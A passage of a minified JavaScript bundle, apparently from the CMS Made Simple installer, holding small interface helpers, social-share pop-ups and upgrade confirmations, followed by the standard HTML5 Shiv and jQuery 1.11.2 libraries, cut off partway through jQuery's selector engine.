function add_error(str){var theDiv=document.getElementById("inner");var newNode=document.createElement('p');newNode.innerHTML=str;newNode.className='message red';theDiv.appendChild(newNode);theDiv.scrollTop=theDiv.scrollHeight;}
function set_block_html(id,html){var theDiv=document.getElementById(id);theDiv.innerHTML=html;}
function finish(){var theDiv=document.getElementById("bottom_nav");theDiv.style.display='table';}
function socialShare(){if(document.getElementById('twitter')){document.getElementById('twitter').onclick=function(){window.open('https://twitter.com/intent/tweet?button_hashtag=cmsms&text='+cmsms_lang.message,'sharertwt','toolbar=0,status=0,width=540,height=345');};}
if(document.getElementById('google')){document.getElementById('google').onclick=function(){window.open('https://plus.google.com/share?url=http://www.cmsmadesimple.org','sharergplus','toolbar=0,status=0,width=524,height=505');};}
if(document.getElementById('facebook')){document.getElementById('facebook').onclick=function(){window.open('http://www.facebook.com/sharer.php?u=http://www.cmsmadesimple.org','sharerfacebook','toolbar=0,status=0,width=525,height=368');};}
if(document.getElementById('linkedin')){document.getElementById('linkedin').onclick=function(){window.open('https://www.linkedin.com/cws/share?url=http%3A%2F%2Fwww.cmsmadesimple.org%2F&isFramed=true','sharerlinkedin','toolbar=0,status=0,width=540,height=528');};}}
window.onload=function(){var freshen=document.getElementById('freshen'),upgrade=document.getElementById('upgrade');if(freshen){freshen.onclick=function(){return confirm(cmsms_lang.freshen);};}
if(upgrade){upgrade.onclick=function(){return confirm(cmsms_lang.upgrade);};}
socialShare();};/*
 HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
*/
(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();
a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="<xyz></xyz>";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode||
"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);
if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);
/*! jQuery v1.11.2 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */
!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.2",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},m.extend=m.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||m.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(m.isPlainObject(c)||(b=m.isArray(c)))?(b?(b=!1,f=a&&m.isArray(a)?a:[]):f=a&&m.isPlainObject(a)?a:{},g[d]=m.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},m.extend({expando:"jQuery"+(l+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===m.type(a)},isArray:Array.isArray||function(a){return"array"===m.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return!m.isArray(a)&&a-parseFloat(a)+1>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||"object"!==m.type(a)||a.nodeType||m.isWindow(a))return!1;try{if(a.constructor&&!j.call(a,"constructor")&&!j.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}if(k.ownLast)for(b in a)return j.call(a,b);for(b in a);return void 0===b||j.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(b){b&&m.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(o,"ms-").replace(p,q)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=r(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(n,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(r(Object(a))?m.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g)return g.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=r(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(f=a[b],b=a,a=f),m.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||m.guid++,e):void 0},now:function(){return+new Date},support:k}),m.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function r(a){var b=a.length,c=m.type(a);return"function"===c||m.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var s=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=hb(),z=hb(),A=hb(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ab=/[+~]/,bb=/'|\\/g,cb=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),db=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},eb=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fb){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function gb(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(bb,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+rb(o[l]);w=ab.test(a)&&pb(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function hb(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ib(a){return a[u]=!0,a}function jb(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function kb(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function lb(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function mb(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function nb(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function ob(a){return ib(function(b){return b=+b,ib(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pb(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=gb.support={},f=gb.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=gb.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",eb,!1):e.attachEvent&&e.attachEvent("onunload",eb)),p=!f(g),c.attributes=jb(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=jb(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=jb(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(jb(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\f]' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),jb(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&jb(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return lb(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?lb(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},gb.matches=function(a,b){return gb(a,null,null,b)},gb.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return gb(b,n,null,[a]).length>0},gb.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},gb.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},gb.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},gb.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=gb.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=gb.selectors={cacheLength:50,createPseudo:ib,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(cb,db),a[3]=(a[3]||a[4]||a[5]||"").replace(cb,db),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||gb.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&gb.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(cb,db).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=gb.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||gb.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ib(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ib(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ib(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ib(function(a){return function(b){return gb(a,b).length>0}}),contains:ib(function(a){return a=a.replace(cb,db),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ib(function(a){return W.test(a||"")||gb.error("unsupported lang: "+a),a=a.replace(cb,db).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:ob(function(){return[0]}),last:ob(function(a,b){return[b-1]}),eq:ob(function(a,b,c){return[0>c?c+b:c]}),even:ob(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:ob(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:ob(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:ob(function(a,b,c){for(var d=0>c?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=mb(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=nb(b);function qb(){}qb.prototype=d.filters=d.pseudos,d.setFilters=new qb,g=gb.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){(!c||(e=S.exec(h)))&&(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=T.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(R," ")}),h=h.slice(c.length));for(g in d.filter)!(e=X[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?gb.error(a):z(a,i).slice(0)};function rb(a){for(var b=0,c=a.length,d="";c>b;b++)d+=a[b].value;return d}function sb(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function tb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ub(a,b,c){for(var d=0,e=b.length;e>d;d++)gb(a,b[d],c);return c}function vb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wb(a,b,c,d,e,f){return d&&!d[u]&&(d=wb(d)),e&&!e[u]&&(e=wb(e,f)),ib(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ub(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:vb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=vb(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=vb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xb(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sb(function(a){return a===b},h,!0),l=sb(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sb(tb(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wb(i>1&&tb(m),i>1&&rb(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xb(a.slice(i,e)),f>e&&xb(a=a.slice(e)),f>e&&rb(a))}m.push(c)}return tb(m)}function yb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=vb(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&gb.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ib(f):f}return h=gb.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xb(b[c]),f[u]?d.push(f):e.push(f);f=A(a,yb(e,d)),f.selector=a}return f},i=gb.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(cb,db),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(cb,db),ab.test(j[0].type)&&pb(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&rb(j),!a)return 